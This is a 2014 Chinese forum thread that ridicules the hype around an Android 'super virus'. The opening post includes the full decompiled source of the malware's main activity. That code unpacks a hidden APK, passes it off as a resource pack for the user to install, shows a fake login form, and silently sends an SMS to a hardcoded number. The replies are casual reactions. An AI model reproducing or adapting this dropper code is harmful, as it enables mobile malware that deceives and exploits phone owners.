找回密码
 立即注册
查看: 2421|回复: 31

全国爆发“超级手机病毒”?? 屌屌屌

[复制链接]

936

回帖

7277

基友

7903

积分

会飞的醉颜

会飞的醉颜。

Rank: 13Rank: 13Rank: 13Rank: 13

二货勋章

发表于 2014-8-5 20:36:06 | 显示全部楼层 |阅读模式
本帖最后由 长歌依楼.≈ 于 2014-8-5 20:37 编辑



这几天补课一直听同学说爆发了个手机病毒有多可怕,



今天有空上网找到了这个Apk,准备自己试试是多牛逼,超级病毒???


五分钟后,我关掉了手机,语重心长的吸了一根烟,再走到冰箱里拿了一瓶青岛啤酒,猛喝了2口,来到窗前,看着外面细雨绵绵,此时我也控制不住自己的情绪,对着天空大吼一声:这TM就是超级病毒,国内的所有安全厂商全司马了吧????
一个毫无技术含量的东西,只要稍微学几天Android开发的人都能写出来,


不过是这逗比作者敢发出来并且流传开来了,就成了超级病毒了?


只要你手机有任何带权限管理的软件,像啥sb360啥的,打开后都会提醒他要发群发短信了,


只要不是sb都会点拒绝吧?再说不点后20s后都自己拒绝了.


还有个注册页面,只要有点脑子的人会填吗?钓鱼这一套玩剩下多少年了??


一个愿打一个愿挨,能怨谁?


还有天朝这群吊炸天的媒体,我都不想说什么,这么个东西都能成为你们炒作的工具.


QQ图片20140805202119.jpg


我能呵呵吗??


还有“中毒机主可在备份手机资料后直接选择恢复出厂设置,或找达人帮忙重装系统。” - by某腾


你自己卸载了就完事了呗?起码这所谓的超级病毒也没像你们一样流氓安上,应用信息那卸载按钮黑了都不给卸载的吧?


顺便附上反编译代码:
  1. <font face="微软雅黑" size="1">package com.example.xxshenqi;

  2. import android.annotation.SuppressLint;
  3. import android.app.AlertDialog.Builder;
  4. import android.content.BroadcastReceiver;
  5. import android.content.ComponentName;
  6. import android.content.Context;
  7. import android.content.DialogInterface;
  8. import android.content.DialogInterface.OnClickListener;
  9. import android.content.Intent;
  10. import android.content.IntentFilter;
  11. import android.content.pm.PackageInfo;
  12. import android.content.pm.PackageManager;
  13. import android.content.res.AssetManager;
  14. import android.net.ConnectivityManager;
  15. import android.net.NetworkInfo;
  16. import android.net.Uri;
  17. import android.os.Bundle;
  18. import android.support.v7.app.ActionBarActivity;
  19. import android.telephony.SmsManager;
  20. import android.text.Editable;
  21. import android.view.View;
  22. import android.view.View.OnClickListener;
  23. import android.widget.Button;
  24. import android.widget.EditText;
  25. import android.widget.Toast;
  26. import java.io.File;
  27. import java.io.FileOutputStream;
  28. import java.io.IOException;
  29. import java.io.InputStream;
  30. import java.io.PrintStream;
  31. import java.util.ArrayList;
  32. import java.util.List;

  33. @SuppressLint({"DefaultLocale"})
  34. public class MainActivity extends ActionBarActivity
  35. {
  36.   Button button1;
  37.   Button button2;
  38.   ArrayList<String> packagNameList;
  39.   EditText pass;
  40.   private MyReceiver receiver;

  41.   private boolean detectApk(String paramString)
  42.   {
  43.     return this.packagNameList.contains(paramString.toLowerCase());
  44.   }

  45.   private boolean goToNetWork()
  46.   {
  47.     ConnectivityManager localConnectivityManager = (ConnectivityManager)getSystemService("connectivity");
  48.     if (localConnectivityManager.getNetworkInfo(1).getState() != null);
  49.     while (localConnectivityManager.getNetworkInfo(0).getState() != null)
  50.       return true;
  51.     return false;
  52.   }

  53.   private void initpackagNameList()
  54.   {
  55.     this.packagNameList = new ArrayList();
  56.     List localList = getPackageManager().getInstalledPackages(0);
  57.     for (int i = 0; ; i++)
  58.     {
  59.       if (i >= localList.size())
  60.         return;
  61.       PackageInfo localPackageInfo = (PackageInfo)localList.get(i);
  62.       this.packagNameList.add(localPackageInfo.packageName.toLowerCase());
  63.     }
  64.   }

  65.   protected void onCreate(Bundle paramBundle)
  66.   {
  67.     super.onCreate(paramBundle);
  68.     requestWindowFeature(1);
  69.     setContentView(2130903064);
  70.     initpackagNameList();
  71.     System.out.println("host开始运行==============================");
  72.     this.receiver = new MyReceiver(null);
  73.     IntentFilter localIntentFilter = new IntentFilter("android.intent.action.PACKAGE_ADDED");
  74.     localIntentFilter.addDataScheme("package");
  75.     registerReceiver(this.receiver, localIntentFilter);
  76.     if (!detectApk("com.example.com.android.trogoogle"))
  77.     {
  78.       System.out.println("host开始安装==============================");
  79.       String str = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
  80.       retrieveApkFromAssets(this, "com.android.Trogoogle.apk", str);
  81.       showInstallConfirmDialog(this, str);
  82.     }
  83.     this.pass = ((EditText)findViewById(2131034176));
  84.     this.button1 = ((Button)findViewById(2131034177));
  85.     this.button1.setOnClickListener(new View.OnClickListener()
  86.     {
  87.       public void onClick(View paramAnonymousView)
  88.       {
  89.         if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
  90.         {
  91.           String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
  92.           MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str);
  93.           MainActivity.this.showInstallConfirmDialog(MainActivity.this, str);
  94.           return;
  95.         }
  96.         if (!MainActivity.this.goToNetWork())
  97.         {
  98.           Toast.makeText(MainActivity.this, "无法连接,请检查您的网络!", 0).show();
  99.           return;
  100.         }
  101.         if (MainActivity.this.pass.getText().toString().length() >= 6)
  102.         {
  103.           Toast.makeText(MainActivity.this, "正在验证,请稍后...", 0).show();
  104.           Toast.makeText(MainActivity.this, "密码错误或账号不存在!", 0).show();
  105.           return;
  106.         }
  107.         Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show();
  108.       }
  109.     });
  110.     this.button2 = ((Button)findViewById(2131034178));
  111.     this.button2.setOnClickListener(new View.OnClickListener()
  112.     {
  113.       public void onClick(View paramAnonymousView)
  114.       {
  115.         MainActivity.this.startActivity(new Intent(MainActivity.this, RegisterActivity.class));
  116.       }
  117.     });
  118.   }

  119.   public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
  120.   {
  121.     boolean bool;
  122.     try
  123.     {
  124.       File localFile = new File(paramString2);
  125.       if (localFile.exists())
  126.         return true;
  127.       localFile.createNewFile();
  128.       InputStream localInputStream = paramContext.getAssets().open(paramString1);
  129.       FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
  130.       byte[] arrayOfByte = new byte[1024];
  131.       while (true)
  132.       {
  133.         int i = localInputStream.read(arrayOfByte);
  134.         if (i == -1)
  135.         {
  136.           localFileOutputStream.flush();
  137.           localFileOutputStream.close();
  138.           localInputStream.close();
  139.           bool = true;
  140.           break;
  141.         }
  142.         localFileOutputStream.write(arrayOfByte, 0, i);
  143.       }
  144.     }
  145.     catch (IOException localIOException)
  146.     {
  147.       Toast.makeText(paramContext, localIOException.getMessage(), 2000).show();
  148.       AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
  149.       localBuilder.setMessage(localIOException.getMessage());
  150.       localBuilder.show();
  151.       localIOException.printStackTrace();
  152.       bool = false;
  153.     }
  154.     return bool;
  155.   }

  156.   public void showInstallConfirmDialog(final Context paramContext, final String paramString)
  157.   {
  158.     AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
  159.     localBuilder.setIcon(2130837592);
  160.     localBuilder.setTitle("未安装资源包");
  161.     localBuilder.setMessage("请先安装资源包,资源包已整合至APK,点击安装即可安装。");
  162.     localBuilder.setPositiveButton("安装", new DialogInterface.OnClickListener()
  163.     {
  164.       public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
  165.       {
  166.         try
  167.         {
  168.           String str = "chmod 777 " + paramString;
  169.           Runtime.getRuntime().exec(str);
  170.           Intent localIntent = new Intent("android.intent.action.VIEW");
  171.           localIntent.addFlags(268435456);
  172.           localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
  173.           paramContext.startActivity(localIntent);
  174.           return;
  175.         }
  176.         catch (IOException localIOException)
  177.         {
  178.           while (true)
  179.             localIOException.printStackTrace();
  180.         }
  181.       }
  182.     });
  183.     localBuilder.show();
  184.   }

  185.   private class MyReceiver extends BroadcastReceiver
  186.   {
  187.     private MyReceiver()
  188.     {
  189.     }

  190.     public void onReceive(Context paramContext, Intent paramIntent)
  191.     {
  192.       System.out.println("MyReceiver 收到广播==========================");
  193.       if (paramIntent.getAction().equals("android.intent.action.PACKAGE_ADDED"))
  194.       {
  195.         paramContext.startActivity(new Intent(paramContext, MainActivity.class));
  196.         System.out.println("  界面跳 Ok!==============================");
  197.         Intent localIntent = new Intent("android.intent.action.MAIN");
  198.         localIntent.addFlags(268435456);
  199.         localIntent.addCategory("android.intent.category.LAUNCHER");
  200.         localIntent.setComponent(new ComponentName("com.example.com.android.trogoogle", "com.example.com.android.trogoogle.MainActivity"));
  201.         paramContext.startActivity(localIntent);
  202.         System.out.println("  启动 Ok!==============================");
  203.         SmsManager.getDefault().sendTextMessage("18670259904", null, " Tro instanll Ok", null, null);
  204.         System.out.println("  发送短信 Ok!==============================");
  205.       }
  206.     }
  207.   }
  208. }</font>
复制代码
也不知道这作者想啥呢?简直不忍直视,我这没学过Android开发的都能看出来逻辑错误了= =

代码看看就行了,如果你真拿着整出点啥来当然我也是不介意有空的时候给你往里面送点土豆干的.


2333333333333333333333333333333333333333333333333333




评分

参与人数 1妹纸 +1 基友 +1 收起 理由
落叶ovd + 1 + 1 神马都是浮云

查看全部评分

回复

使用道具 举报

2034

回帖

2万

基友

2万

积分

仙人7层 Lv.16

Invincible

Rank: 10Rank: 10Rank: 10

发表于 2014-8-5 20:41:11 | 显示全部楼层
万年不遇手机病毒 360QQLBE都上火了 没法忽悠小白
While the truncheon may be used in lieu of conversation words will always retain their power.
回复 支持 反对

使用道具 举报

936

回帖

7277

基友

7903

积分

会飞的醉颜

会飞的醉颜。

Rank: 13Rank: 13Rank: 13Rank: 13

二货勋章

 楼主| 发表于 2014-8-5 20:42:45 | 显示全部楼层
Rise 发表于 2014-8-5 20:41
万年不遇手机病毒 360QQLBE都上火了 没法忽悠小白

民间甚至都传说这病毒作者都是和某些安全厂商。。。。。你懂得
回复 支持 反对

使用道具 举报

2034

回帖

2万

基友

2万

积分

仙人7层 Lv.16

Invincible

Rank: 10Rank: 10Rank: 10

发表于 2014-8-5 20:43:10 | 显示全部楼层
忘了毒瘤百度
While the truncheon may be used in lieu of conversation words will always retain their power.
回复 支持 反对

使用道具 举报

630

回帖

2513

基友

4645

积分

通神6段 Lv.9

Rank: 5Rank: 5

伯爵荣耀

发表于 2014-8-5 20:46:18 | 显示全部楼层
回复

使用道具 举报

211

回帖

419

基友

1122

积分

通神3段 Lv.6

Rank: 3Rank: 3

伯爵荣耀

发表于 2014-8-5 22:07:42 | 显示全部楼层

人家有钱没办法。。。
回复 支持 反对

使用道具 举报

44

回帖

132

基友

578

积分

通神1段 Lv.4

Rank: 2

伯爵荣耀

发表于 2014-8-5 22:16:26 | 显示全部楼层
牛人啊。。。。。。。。。。。
回复

使用道具 举报

38

回帖

220

基友

416

积分

凡人3阶 Lv.3

Rank: 2

发表于 2014-8-6 01:27:10 | 显示全部楼层
回复

使用道具 举报

50

回帖

63

基友

229

积分

凡人3阶 Lv.3

Rank: 2

伯爵荣耀

发表于 2014-8-6 09:45:21 | 显示全部楼层
回复

使用道具 举报

2383

回帖

5188

基友

5489

积分

通神6段 Lv.9

maomaos

Rank: 5Rank: 5

伯爵荣耀

发表于 2014-8-6 11:12:28 | 显示全部楼层
碉堡了
回复

使用道具 举报

2383

回帖

5188

基友

5489

积分

通神6段 Lv.9

maomaos

Rank: 5Rank: 5

伯爵荣耀

发表于 2014-8-6 11:12:38 | 显示全部楼层
虽然我看不懂是什么东东
http://imgsrc.baidu.com/forum/w%3D580%3B/sign=bbb8cd425566d0167e199e20a710d507/1f178a82b9014a9074600832ae773912b21beee7.jpg
回复 支持 反对

使用道具 举报

90

回帖

334

基友

490

积分

凡人3阶 Lv.3

Rank: 2

伯爵荣耀

发表于 2014-8-6 12:17:46 | 显示全部楼层
看不懂
回复

使用道具 举报

1万

回帖

4万

基友

4万

积分

仙人9层 Lv.18

Rank: 12Rank: 12Rank: 12

伯爵荣耀

发表于 2014-8-6 13:14:38 | 显示全部楼层
秒杀度娘。
回复

使用道具 举报

114

回帖

31

基友

453

积分

凡人3阶 Lv.3

Rank: 2

伯爵荣耀

发表于 2014-8-6 17:41:31 | 显示全部楼层
回复

使用道具 举报

730

回帖

5788

基友

5851

积分

萨菲尔斯

Rank: 17Rank: 17Rank: 17Rank: 17Rank: 17

发表于 2014-8-6 21:08:42 | 显示全部楼层
傻逼忽悠傻逼
回复 支持 反对

使用道具 举报

7469

回帖

2063

基友

1万

积分

萨菲尔斯

One more time One more chance

Rank: 17Rank: 17Rank: 17Rank: 17Rank: 17

苍海的女仆

发表于 2014-8-6 21:20:37 | 显示全部楼层
国内安全厂商炒的真厉害.....
回复 支持 反对

使用道具 举报

24

回帖

82

基友

171

积分

凡人2阶 Lv.2

Rank: 1

伯爵荣耀

发表于 2014-8-7 06:42:53 | 显示全部楼层
··很好奇
回复 支持 反对

使用道具 举报

93

回帖

37

基友

1049

积分

通神3段 Lv.6

Rank: 3Rank: 3

伯爵荣耀

发表于 2014-8-7 10:39:42 | 显示全部楼层
好可怕
回复

使用道具 举报

93

回帖

37

基友

1049

积分

通神3段 Lv.6

Rank: 3Rank: 3

伯爵荣耀

发表于 2014-8-7 10:39:58 | 显示全部楼层
不用手机了
回复 支持 反对

使用道具 举报

93

回帖

37

基友

1049

积分

通神3段 Lv.6

Rank: 3Rank: 3

伯爵荣耀

发表于 2014-8-7 10:40:18 | 显示全部楼层
用电脑把 嘻嘻
回复 支持 反对

使用道具 举报

107

回帖

223

基友

438

积分

凡人3阶 Lv.3

Rank: 2

伯爵荣耀

发表于 2014-8-7 21:34:03 | 显示全部楼层
哈~
回复

使用道具 举报

14

回帖

47

基友

112

积分

凡人2阶 Lv.2

Rank: 1

发表于 2014-8-8 15:27:22 | 显示全部楼层
回复

使用道具 举报

159

回帖

126

基友

954

积分

通神2段 Lv.5

Rank: 3Rank: 3

发表于 2014-8-15 10:15:04 | 显示全部楼层
大神。。
回复

使用道具 举报

1万

回帖

6412

基友

3万

积分

死神左手

纯白无邪

Rank: 16Rank: 16Rank: 16Rank: 16

二货勋章周年纪念勋章

发表于 2014-8-15 12:18:03 | 显示全部楼层
咱爪机都裸奔
回复 支持 反对

使用道具 举报

270

回帖

204

基友

690

积分

通神1段 Lv.4

Rank: 2

伯爵荣耀

发表于 2014-8-15 13:05:02 | 显示全部楼层
看不懂
回复

使用道具 举报

347

回帖

73

基友

1527

积分

通神3段 Lv.6

Rank: 3Rank: 3

发表于 2014-8-19 14:17:44 | 显示全部楼层
屌屌屌
回复

使用道具 举报

73

回帖

22

基友

408

积分

凡人3阶 Lv.3

Rank: 2

发表于 2014-8-19 15:17:08 | 显示全部楼层
哈哈 没有
回复

使用道具 举报

36

回帖

160

基友

223

积分

凡人3阶 Lv.3

Rank: 2

伯爵荣耀

发表于 2014-8-19 22:55:40 | 显示全部楼层
就笑笑~
回复

使用道具 举报

36

回帖

160

基友

223

积分

凡人3阶 Lv.3

Rank: 2

伯爵荣耀

发表于 2014-8-19 22:55:51 | 显示全部楼层
就笑笑~
回复

使用道具 举报

36

回帖

505

基友

331

积分

凡人3阶 Lv.3

Rank: 2

伯爵荣耀

发表于 2014-8-19 22:57:51 | 显示全部楼层
围观楼主_(:з」∠)_
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|苍海国际 ( 鲁ICP备13020644号-1 )

GMT+8, 2024-5-17 11:11 , Processed in 0.078158 second(s), 37 queries .

Powered by Discuz! Theme By eRic Modified by 4bpa

© CangHai International We Do Our Rights!

返回顶部